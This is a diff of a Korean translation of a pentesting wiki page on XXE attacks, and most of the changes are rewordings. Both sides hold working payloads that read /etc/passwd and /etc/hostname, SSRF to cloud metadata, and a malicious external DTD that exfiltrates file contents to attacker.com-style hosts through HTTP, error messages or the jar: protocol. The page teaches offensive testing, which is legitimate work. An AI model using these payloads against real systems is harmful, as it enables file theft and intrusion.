|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,29 +4,29 @@
|
|||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **당신의 해킹 요령을 공유**하세요.
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## XML 기본 사항
|
||||
|
||||
XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 기술적으로 명명된 태그의 사용을 허용하는 유연한 구조를 갖추고 있습니다. 미리 정의된 태그 집합에 제한받지 않는 HTML과 다릅니다. JSON의 등장으로 XML의 중요성은 감소했지만, AJAX 기술에서 초기 역할을 한 바 있습니다.
|
||||
XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 기술적으로 명명된 태그의 사용을 허용하는 유연한 구조를 갖추고 있습니다. 미리 정의된 태그 집합에 제한받지 않는 HTML과 다르게, JSON의 등장으로 XML의 중요성은 감소했지만 AJAX 기술의 초기 역할은 여전합니다.
|
||||
|
||||
- **Entity를 통한 데이터 표현**: XML의 Entity는 `<`와 `>`에 해당하는 `<` 및 `>`와 같은 특수 문자를 포함한 데이터의 표현을 가능하게 합니다. 이는 XML의 태그 시스템과 충돌을 피하기 위한 것입니다.
|
||||
- **XML 요소 정의**: XML은 요소 유형을 정의하여 요소가 어떻게 구조화되어야 하는지 및 어떤 내용을 포함할 수 있는지를 개요화합니다. 어떤 유형의 내용에서부터 특정 자식 요소까지 다양한 내용을 포함할 수 있습니다.
|
||||
- **문서 유형 정의 (DTD)**: DTD는 문서의 구조 및 포함할 수 있는 데이터 유형을 정의하는 데 XML에서 중요합니다. 내부, 외부 또는 조합일 수 있으며, 문서의 형식 및 유효성을 지침합니다.
|
||||
- **사용자 지정 및 외부 Entity**: XML은 유연한 데이터 표현을 위해 DTD 내에서 사용자 지정 Entity를 지원합니다. URL로 정의된 외부 Entity는 XML 파서가 외부 데이터 소스를 처리하는 방식을 악용하는 XML External Entity (XXE) 공격과 관련된 보안 문제를 제기합니다: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **매개변수 Entity를 사용한 XXE 탐지**: 일반적인 방법이 파서 보안 조치로 인해 실패할 때 특히 XXE 취약점을 탐지하기 위해 XML 매개변수 Entity를 활용할 수 있습니다. 이러한 Entity를 사용하면 DNS 조회 또는 제어된 도메인으로의 HTTP 요청을 트리거하는 등의 외부 방식의 탐지 기술을 사용하여 취약점을 확인할 수 있습니다.
|
||||
- **개체를 통한 데이터 표현**: XML의 개체는 `<`와 `>`에 해당하는 `<` 및 `>`와 같은 특수 문자를 포함한 데이터의 표현을 가능하게 합니다. 이는 XML의 태그 시스템과 충돌을 피하기 위한 것입니다.
|
||||
- **XML 요소 정의**: XML은 요소 유형을 정의하여 요소가 어떻게 구조화되어야 하는지 및 어떤 내용을 포함할 수 있는지를 개요화합니다. 어떤 유형의 내용이든 특정 자식 요소까지 포함할 수 있습니다.
|
||||
- **문서 유형 정의 (DTD)**: DTD는 문서의 구조와 포함할 수 있는 데이터 유형을 정의하는 데 XML에서 중요합니다. 내부, 외부 또는 조합일 수 있으며, 문서의 형식 및 유효성을 지정하는 데 도움을 줍니다.
|
||||
- **사용자 지정 및 외부 개체**: XML은 유연한 데이터 표현을 위해 DTD 내에서 사용자 지정 개체를 지원합니다. URL로 정의된 외부 개체는 XML 외부 개체 (XXE) 공격의 맥락에서 보안 문제를 일으키며, XML 파서가 외부 데이터 소스를 처리하는 방식을 악용합니다: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **매개변수 개체를 사용한 XXE 감지**: 일반적인 방법이 파서 보안 조치로 인해 실패할 때 특히 XXE 취약점을 감지하기 위해 XML 매개변수 개체를 활용할 수 있습니다. 이러한 개체를 사용하면 DNS 조회 또는 제어된 도메인으로의 HTTP 요청을 트리거하는 등의 외부 밴드 감지 기술을 사용하여 취약점을 확인할 수 있습니다.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
|
@ -34,7 +34,7 @@ XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 기
|
|||
|
||||
[**이러한 대부분의 공격은 멋진 Portswiggers XEE 랩을 사용하여 테스트되었습니다: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||||
|
||||
### 새 Entity 테스트
|
||||
### 새로운 개체 테스트
|
||||
|
||||
이 공격에서는 간단한 새 ENTITY 선언이 작동하는지 테스트합니다.
|
||||
```xml
|
||||
|
@ -57,13 +57,15 @@ XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 기
|
|||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
이 두 번째 경우는 웹 서버가 PHP를 사용하는 경우 파일을 추출하는 데 유용할 것입니다 (Portswiggers 랩의 경우가 아닙니다)
|
||||
![](<../.gitbook/assets/image (83).png>)
|
||||
|
||||
두 번째 경우는 PHP를 사용하는 웹 서버에서 파일을 추출하는 데 유용할 것입니다 (Portswiggers 랩의 경우가 아닙니다)
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
이 세 번째 경우에는 `Element stockCheck`을 ANY로 선언하고 있음을 주목하십시오.
|
||||
이 세 번째 경우에는 `Element stockCheck`을 ANY로 선언하는 것에 주목하세요.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE data [
|
||||
|
@ -79,7 +81,7 @@ XML은 데이터 저장 및 전송을 위해 설계된 마크업 언어로, 기
|
|||
|
||||
### 디렉토리 목록
|
||||
|
||||
**Java** 기반 애플리케이션에서는 다음과 같은 페이로드를 사용하여 XXE를 통해 디렉토리 내용을 나열할 수 있습니다(파일 대신 디렉토리를 요청하는 예시):
|
||||
**Java** 기반 애플리케이션에서는 다음과 같은 페이로드를 사용하여 XXE를 통해 디렉토리 내용을 나열할 수 있습니다(파일 대신 디렉토리를 요청하는 것만 있음):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
|
@ -97,17 +99,17 @@ XXE를 사용하여 클라우드 내부에서 SSRF를 악용할 수 있습니다
|
|||
```
|
||||
### Blind SSRF
|
||||
|
||||
**이전에 설명된 기술**을 사용하여 서버가 취약점을 보여주도록 제어할 수 있습니다. 그러나 작동하지 않는 경우, 아마도 **XML 엔티티가 허용되지 않기 때문**일 수 있습니다. 이 경우 **XML 매개 변수 엔티티**를 사용해 볼 수 있습니다:
|
||||
**이전에 설명된 기술**을 사용하여 서버가 취약점을 보여주도록 제어할 수 있습니다. 그러나 작동하지 않는다면, 아마도 **XML 엔티티가 허용되지 않기** 때문일 수 있습니다. 이 경우 **XML 매개변수 엔티티**를 사용해 볼 수 있습니다:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
### "Blind" SSRF - 데이터 외부로 유출하기
|
||||
### "Blind" SSRF - 데이터 외부 전송
|
||||
|
||||
**이번에는 서버가 악성 페이로드가 포함된 새 DTD를 로드하도록하여 파일의 내용을 HTTP 요청을 통해 전송하게 만들 것입니다 (**여러 줄로 된 파일의 경우 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)와 같은 기본 서버를 사용하여 _**ftp://**_를 통해 데이터를 유출할 수 있습니다)**. 이 설명은** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**를 기반으로 합니다.**
|
||||
**이번에는 서버가 악성 페이로드가 포함된 새 DTD를 로드하도록하여 파일의 내용을 HTTP 요청을 통해 전송하게 만들 것입니다 (**여러 줄로 된 파일의 경우** _**ftp://**_ **를 통해 이를 외부로 유출할 수 있습니다. 예를 들어 이 기본 서버를 사용하여 시도해 볼 수 있습니다 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). 이 설명은** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**를 기반으로 합니다.**
|
||||
|
||||
악성 DTD에서 데이터를 외부로 유출하기 위해 일련의 단계가 수행됩니다:
|
||||
악성 DTD에서는 데이터를 외부로 전송하기 위해 일련의 단계가 수행됩니다:
|
||||
|
||||
### 악성 DTD 예시:
|
||||
|
||||
|
@ -118,24 +120,24 @@ XXE를 사용하여 클라우드 내부에서 SSRF를 악용할 수 있습니다
|
|||
%eval;
|
||||
%exfiltrate;
|
||||
```
|
||||
이 DTD에 의해 실행되는 단계는 다음과 같습니다:
|
||||
다음은이 DTD에 의해 실행 된 단계입니다:
|
||||
|
||||
1. **매개 변수 엔티티 정의:**
|
||||
* XML 매개 변수 엔티티 `%file`이 생성되어 `/etc/hostname` 파일의 내용을 읽습니다.
|
||||
* 또 다른 XML 매개 변수 엔티티 `%eval`이 정의됩니다. 이는 새로운 XML 매개 변수 엔티티 `%exfiltrate`를 동적으로 선언합니다. `%exfiltrate` 엔티티는 `%file` 엔티티의 내용을 URL의 쿼리 문자열 내에서 공격자의 서버로 HTTP 요청하도록 설정됩니다.
|
||||
* XML 매개 변수 엔티티 `%file`이 생성되어 `/etc/hostname` 파일의 내용을 읽습니다.
|
||||
* 다른 XML 매개 변수 엔티티 `%eval`이 정의됩니다. 이는 새 XML 매개 변수 엔티티 `%exfiltrate`를 동적으로 선언합니다. `%exfiltrate` 엔티티는 `%file` 엔티티의 내용을 URL의 쿼리 문자열 내에서 전달하도록 설정됩니다.
|
||||
2. **엔티티 실행:**
|
||||
* `%eval` 엔티티가 사용되어 `%exfiltrate` 엔티티의 동적 선언이 실행됩니다.
|
||||
* 그런 다음 `%exfiltrate` 엔티티가 사용되어 파일 내용과 함께 지정된 URL로 HTTP 요청이 트리거됩니다.
|
||||
* `%eval` 엔티티가 사용되어 `%exfiltrate` 엔티티의 동적 선언이 실행됩니다.
|
||||
* 그런 다음 `%exfiltrate` 엔티티가 사용되어 파일 내용을 포함한 지정된 URL로 HTTP 요청이 트리거됩니다.
|
||||
|
||||
공격자는 이 악의적인 DTD를 일반적으로 `http://web-attacker.com/malicious.dtd`와 같은 URL에서 제어하는 서버에 호스팅합니다.
|
||||
공격자는 일반적으로 `http://web-attacker.com/malicious.dtd`와 같은 URL에서 악성 DTD를 호스팅합니다.
|
||||
|
||||
**XXE Payload:** 취약한 애플리케이션을 악용하기 위해 공격자는 XXE 페이로드를 전송합니다:
|
||||
**XXE Payload:** 취약한 응용 프로그램을 악용하기 위해 공격자는 XXE 페이로드를 전송합니다:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
이 payload는 XML 파서에 의해 처리될 때 공격자의 서버에서 외부 DTD를 가져오는 `%xxe` XML 매개 변수 엔터티를 정의하고 DTD 내에 통합합니다. 그럼 파서는 DTD를 인라인으로 해석하고, 악의적인 DTD에 기술된 단계를 실행하여 `/etc/hostname` 파일을 공격자의 서버로 유출시킵니다.
|
||||
이 payload는 XML 파서에 의해 처리될 때 공격자의 서버에서 외부 DTD를 가져오는 XML 매개 변수 엔터티 `%xxe`를 정의하고 DTD 내에 통합합니다. 그럼 파서는 DTD를 인라인으로 해석하고, 악의적인 DTD에 기술된 단계를 실행하여 `/etc/hostname` 파일을 공격자의 서버로 유출시킵니다.
|
||||
|
||||
### 오류 기반(외부 DTD)
|
||||
|
||||
|
@ -145,7 +147,7 @@ XXE를 사용하여 클라우드 내부에서 SSRF를 악용할 수 있습니다
|
|||
|
||||
1. `/etc/passwd` 파일의 내용을 포함하는 `file`라는 XML 매개 변수 엔터티가 정의됩니다.
|
||||
2. `eval`이라는 XML 매개 변수 엔터티가 정의되며, `error`라는 다른 XML 매개 변수 엔터티에 대한 동적 선언이 포함됩니다. 이 `error` 엔터티는 평가될 때, 존재하지 않는 파일을 로드하려고 시도하며, 그 이름으로 `file` 엔터티의 내용을 포함합니다.
|
||||
3. `eval` 엔터티가 호출되어 `error` 엔터티가 동적으로 선언됩니다.
|
||||
3. `eval` 엔터티가 호출되어 `error` 엔터티의 동적 선언이 이루어집니다.
|
||||
4. `error` 엔터티의 호출로 인해 존재하지 않는 파일을 로드하려는 시도가 발생하며, `/etc/passwd` 파일의 내용이 파일 이름의 일부로 포함된 오류 메시지가 생성됩니다.
|
||||
|
||||
다음 XML로 악의적인 외부 DTD를 호출할 수 있습니다:
|
||||
|
@ -158,9 +160,9 @@ XXE를 사용하여 클라우드 내부에서 SSRF를 악용할 수 있습니다
|
|||
|
||||
따라서 **외부 연결이 차단된 경우** 블라인드 XXE 취약점은 어떻게 될까요?
|
||||
|
||||
XML 언어 사양의 한 가지 약점은 **문서의 DTD가 내부 및 외부 선언을 혼합할 때 에러 메시지를 통해 민감한 데이터를 노출**할 수 있다는 것입니다. 이 문제는 외부 DTD를 사용하여 선언된 엔티티를 내부적으로 재정의함으로써 에러 기반 XXE 공격을 실행할 수 있게 합니다. 이러한 공격은 외부 DTD에서 원래 선언된 XML 매개변수 엔티티를 내부 DTD 내에서 재정의하는 것을 이용합니다. 서버에서 외부 연결이 차단된 경우, 공격자는 공격을 수행하기 위해 로컬 DTD 파일에 의존해야 하며, 파싱 오류를 유발하여 민감한 정보를 노출시키려고 합니다.
|
||||
XML 언어 사양의 한 가지 약점은 **문서의 DTD가 내부 및 외부 선언을 혼합할 때 오류 메시지를 통해 민감한 데이터를 노출**할 수 있다는 것입니다. 이 문제는 외부 DTD에서 선언된 엔티티를 내부적으로 재정의하여 오류 기반 XXE 공격을 실행하는 것을 가능하게 합니다. 이러한 공격은 외부 DTD에서 원래 선언된 XML 매개변수 엔티티를 내부 DTD 내에서 재정의함으로써 이루어집니다. 서버에서 외부 연결이 차단된 경우, 공격자는 공격을 수행하기 위해 로컬 DTD 파일에 의존해야 하며, 파싱 오류를 유발하여 민감한 정보를 노출시키려고 합니다.
|
||||
|
||||
서버의 파일 시스템에 `/usr/local/app/schema.dtd` 경로에 DTD 파일이 포함되어 있고 `custom_entity`라는 엔티티를 정의하는 경우, 공격자는 다음과 같이 하이브리드 DTD를 제출하여 `/etc/passwd` 파일의 내용을 노출시키는 XML 파싱 오류를 유발시킬 수 있습니다:
|
||||
서버 파일 시스템에 `/usr/local/app/schema.dtd`에 정의된 `custom_entity`라는 엔티티를 포함하는 DTD 파일이 있는 시나리오를 고려해보겠습니다. 공격자는 다음과 같이 하이브리드 DTD를 제출함으로써 `/etc/passwd` 파일의 내용을 노출시키는 XML 파싱 오류를 유발시킬 수 있습니다:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
|
@ -175,11 +177,11 @@ XML 언어 사양의 한 가지 약점은 **문서의 DTD가 내부 및 외부
|
|||
```
|
||||
다음은이 DTD에 의해 실행되는 단계입니다:
|
||||
|
||||
* `local_dtd`라는 XML 매개 변수 엔터티의 정의에는 서버 파일 시스템에 위치한 외부 DTD 파일이 포함됩니다.
|
||||
* `custom_entity` XML 매개 변수 엔터티에 대한 재정의가 발생하며, 원래 외부 DTD에서 정의되었으며 [오류 기반 XXE 공격](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)을 캡슐화합니다. 이 재정의는 구문 분석 오류를 유발하여 `/etc/passwd` 파일의 내용을 노출시키도록 설계되었습니다.
|
||||
* `local_dtd` 엔터티를 사용하여 외부 DTD가 참여되어 새로 정의된 `custom_entity`가 포함됩니다. 이러한 일련의 작업은 공격에서 목표로 하는 오류 메시지의 발생을 촉발시킵니다.
|
||||
* `local_dtd`라는 XML 매개 변수 엔티티의 정의에는 서버 파일 시스템에 위치한 외부 DTD 파일이 포함됩니다.
|
||||
* `custom_entity` XML 매개 변수 엔티티에 대한 재정의가 발생하며, 원래 외부 DTD에서 정의된 내용을 캡슐화하여 [오류 기반 XXE 공격](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)을 수행합니다. 이 재정의는 구문 분석 오류를 유발하여 `/etc/passwd` 파일의 내용을 노출시킵니다.
|
||||
* `local_dtd` 엔티티를 사용하여 외부 DTD가 참여되며, 새로 정의된 `custom_entity`가 포함됩니다. 이러한 작업 순서는 공격에서 목표로 하는 오류 메시지의 발생을 촉발시킵니다.
|
||||
|
||||
**실제 예시:** GNOME 데스크톱 환경을 사용하는 시스템은 종종 `/usr/share/yelp/dtd/docbookx.dtd`에 위치한 DTD를 포함하며 `ISOamso`라는 엔터티를 포함합니다.
|
||||
**실제 예시:** GNOME 데스크톱 환경을 사용하는 시스템은 종종 `/usr/share/yelp/dtd/docbookx.dtd`에 있는 `ISOamso`라는 엔티티를 포함하는 DTD를 갖습니다.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
|
@ -194,22 +196,24 @@ XML 언어 사양의 한 가지 약점은 **문서의 DTD가 내부 및 외부
|
|||
]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
이 기술은 내부 DTD를 사용하므로 먼저 유효한 DTD를 찾아야합니다. 이를 위해 서버가 사용하는 동일한 OS/소프트웨어를 설치하고 기본 DTD 목록을 찾아보거나 시스템 내부의 기본 DTD 목록을 가져와 해당하는 것이 있는지 확인할 수 있습니다:
|
||||
![](<../.gitbook/assets/image (622).png>)
|
||||
|
||||
이 기술은 내부 DTD를 사용하므로 먼저 유효한 DTD를 찾아야합니다. 서버가 사용하는 것과 동일한 OS / 소프트웨어를 설치하고 기본 DTD 목록을 찾거나 시스템 내부의 기본 DTD 목록을 가져 와서 해당 DTD가 있는지 확인할 수 있습니다:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
%local_dtd;
|
||||
]>
|
||||
```
|
||||
더 많은 정보는 [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)에서 확인하세요.
|
||||
더 많은 정보를 원하시면 [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)를 확인하세요.
|
||||
|
||||
### 시스템 내부에서 DTD 찾기
|
||||
|
||||
다음 놀라운 github 레포지토리에서 **시스템에 존재할 수 있는 DTD의 경로**를 찾을 수 있습니다:
|
||||
다음 굉장한 github 저장소에서 **시스템에 존재할 수 있는 DTD의 경로**를 찾을 수 있습니다:
|
||||
|
||||
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
|
||||
|
||||
또한, **피해 시스템의 Docker 이미지**가 있다면, 동일한 레포지토리의 도구를 사용하여 **이미지를 스캔**하고 시스템 내부에 존재하는 **DTD의 경로를 찾을 수** 있습니다. 자세한 내용은 [github의 Readme](https://github.com/GoSecure/dtd-finder)를 참조하세요.
|
||||
또한, **피해 시스템의 Docker 이미지**가 있다면, 동일한 저장소의 도구를 사용하여 **이미지를 스캔**하고 시스템 내부에 존재하는 **DTD의 경로를 찾을 수** 있습니다. 자세한 내용은 [github의 Readme](https://github.com/GoSecure/dtd-finder)를 참조하세요.
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
|
@ -223,13 +227,13 @@ Testing 0 entities : []
|
|||
```
|
||||
### Office Open XML 파서를 통한 XXE
|
||||
|
||||
이 공격에 대한 더 자세한 설명은 [Detectify의 이 놀라운 포스트](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)의 두 번째 섹션을 확인하십시오.
|
||||
이 공격에 대한 더 자세한 설명은 [이 놀라운 포스트](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)의 두 번째 섹션을 확인하십시오.
|
||||
|
||||
많은 웹 애플리케이션이 **Microsoft Office 문서를 업로드할 수 있는 기능을 제공**하며, 이후 이러한 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션은 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져올 수 있게 할 수 있습니다. 파서가 스프레드시트에서 데이터를 추출하려면 적어도 하나의 XML 파일을 파싱해야 할 것입니다.
|
||||
많은 웹 애플리케이션이 **Microsoft Office 문서를 업로드할 수 있는 기능을 제공**하며, 이후 이러한 문서에서 특정 세부 정보를 추출합니다. 예를 들어, 웹 애플리케이션은 사용자가 XLSX 형식의 스프레드시트를 업로드하여 데이터를 가져올 수 있게 할 수 있습니다. 파서가 스프레드시트에서 데이터를 추출하기 위해서는 적어도 하나의 XML 파일을 파싱해야 할 것입니다.
|
||||
|
||||
이 취약점을 테스트하려면 **XXE 페이로드가 포함된 Microsoft Office 파일을 생성**해야 합니다. 첫 번째 단계는 문서를 압축 해제할 수 있는 빈 디렉토리를 생성하는 것입니다.
|
||||
이 취약점을 테스트하려면 **XXE payload가 포함된 Microsoft Office 파일을 생성**해야 합니다. 첫 번째 단계는 문서가 압축 해제될 수 있는 빈 디렉토리를 생성하는 것입니다.
|
||||
|
||||
문서를 압축 해제한 후, `./unzipped/word/document.xml`에 위치한 XML 파일을 선호하는 텍스트 편집기(예: vim)에서 열고 편집해야 합니다. XML을 수정하여 원하는 XXE 페이로드를 포함해야 합니다. 이는 종종 HTTP 요청으로 시작합니다.
|
||||
문서가 압축 해제된 후, `./unzipped/word/document.xml`에 위치한 XML 파일을 선호하는 텍스트 편집기(예: vim)에서 열고 편집해야 합니다. XML을 수정하여 원하는 XXE payload를 포함하도록 해야 하며, 이는 종종 HTTP 요청으로 시작합니다.
|
||||
|
||||
수정된 XML 라인은 두 개의 루트 XML 객체 사이에 삽입되어야 합니다. 요청을 모니터링할 수 있는 URL로 URL을 교체하는 것이 중요합니다.
|
||||
|
||||
|
@ -239,30 +243,30 @@ Testing 0 entities : []
|
|||
|
||||
### Jar: 프로토콜
|
||||
|
||||
**jar** 프로토콜은 **Java 애플리케이션 내에서만 접근할 수 있습니다**. 이는 **PKZIP** 아카이브(예: `.zip`, `.jar` 등) 내에서 파일 액세스를 가능하게 하는 것으로, 로컬 및 원격 파일 모두를 처리합니다.
|
||||
**jar** 프로토콜은 **Java 애플리케이션 내에서만 접근할 수 있습니다**. 이는 **PKZIP** 아카이브 내에서 파일 액세스를 가능하게 하는 것으로, 로컬 및 원격 파일 모두를 지원합니다.
|
||||
```
|
||||
jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
PKZIP 파일 내부의 파일에 액세스할 수 있는 것은 **시스템 DTD 파일을 통해 XXE를 남용하는 데 매우 유용합니다.** [시스템 DTD 파일을 남용하는 방법을 배우려면 이 섹션을 확인하십시오](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
PKZIP 파일 내부의 파일에 액세스할 수 있는 것은 **시스템 DTD 파일을 통해 XXE를 남용하는 데 매우 유용합니다.** [이 섹션을 확인하여 시스템 DTD 파일을 남용하는 방법을 배우세요](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
{% endhint %}
|
||||
|
||||
jar 프로토콜을 통해 PKZIP 아카이브 내의 파일에 액세스하는 과정은 다음과 같은 단계로 이루어집니다:
|
||||
PKZIP 아카이브 내의 파일에 액세스하는 과정은 다음과 같은 단계로 이루어집니다:
|
||||
|
||||
1. 지정된 위치에서 zip 아카이브를 다운로드하기 위해 HTTP 요청이 수행됩니다. 예: `https://download.website.com/archive.zip`.
|
||||
2. 아카이브를 포함하는 HTTP 응답이 일시적으로 시스템에 저장됩니다. 일반적으로 `/tmp/...`과 같은 위치에 저장됩니다.
|
||||
2. 아카이브를 포함한 HTTP 응답이 일시적으로 시스템에 저장됩니다. 일반적으로 `/tmp/...`과 같은 위치에 저장됩니다.
|
||||
3. 아카이브는 추출되어 내용에 액세스됩니다.
|
||||
4. 아카이브 내의 특정 파일인 `file.zip`이 읽힙니다.
|
||||
5. 이 작업 후, 이 프로세스 중에 생성된 모든 일시적 파일이 삭제됩니다.
|
||||
4. 아카이브 내의 특정 파일, `file.zip`,이 읽힙니다.
|
||||
5. 이 과정 중에 생성된 임시 파일은 삭제됩니다.
|
||||
|
||||
두 번째 단계에서 이 프로세스를 방해하는 흥미로운 기술은 아카이브 파일을 제공할 때 서버 연결을 영원히 열어두는 것입니다. 이를 위해 [이 저장소](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution)에서 제공되는 도구를 활용할 수 있으며, Python 서버(`slow_http_server.py`)와 Java 서버(`slowserver.jar`)가 포함됩니다.
|
||||
두 번째 단계에서 이 프로세스를 중단하는 흥미로운 기술은 아카이브 파일을 제공할 때 서버 연결을 영원히 열어 두는 것입니다. 이를 위해 [이 저장소](https://github.com/GoSecure/xxe-workshop/tree/master/24\_write\_xxe/solution)에서 제공되는 도구를 활용할 수 있습니다. 이 도구에는 Python 서버(`slow_http_server.py`)와 Java 서버(`slowserver.jar`)가 포함되어 있습니다.
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
임시 디렉토리에 파일을 작성하면 로컬 파일 포함, 템플릿 삽입, XSLT RCE, 직렬화 등과 관련된 **다른 취약점을 확대**할 수 있습니다.
|
||||
임시 디렉토리에 파일을 작성하면 로컬 파일 포함, 템플릿 삽입, XSLT RCE, 직렬화 등의 취약점을 **승격시킬 수 있는 다른 취약점**이 포함될 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### XSS
|
||||
|
@ -314,47 +318,47 @@ Responder.py -I eth0 -v
|
|||
|
||||
### XInclude
|
||||
|
||||
클라이언트 데이터를 서버 측 XML 문서에 통합할 때, 백엔드 SOAP 요청과 같은 경우 XML 구조에 대한 직접적인 제어가 제한되어 전통적인 XXE 공격이 `DOCTYPE` 요소 수정에 제한이 있어 어려울 수 있습니다. 그러나 `XInclude` 공격은 XML 문서의 데이터 요소 내에 외부 엔티티를 삽입할 수 있도록 허용하여 해결책을 제공합니다. 이 방법은 서버에서 생성된 XML 문서 내의 데이터 일부만 제어할 수 있는 경우에도 효과적입니다.
|
||||
클라이언트 데이터를 서버 측 XML 문서에 통합할 때, 백엔드 SOAP 요청과 같은 경우 XML 구조를 직접 제어하는 것이 종종 제한되어 `DOCTYPE` 요소 수정에 제한이 있어 기존 XXE 공격이 어려울 수 있습니다. 그러나 `XInclude` 공격은 XML 문서의 데이터 요소 내에 외부 엔티티를 삽입할 수 있도록 허용하여 해결책을 제공합니다. 이 방법은 서버에서 생성된 XML 문서의 데이터 일부만 제어할 수 있는 경우에도 효과적입니다.
|
||||
|
||||
`XInclude` 공격을 실행하려면 `XInclude` 네임스페이스를 선언하고 의도한 외부 엔티티의 파일 경로를 지정해야 합니다. 아래는 이러한 공격을 어떻게 구성할 수 있는지 간결한 예시입니다:
|
||||
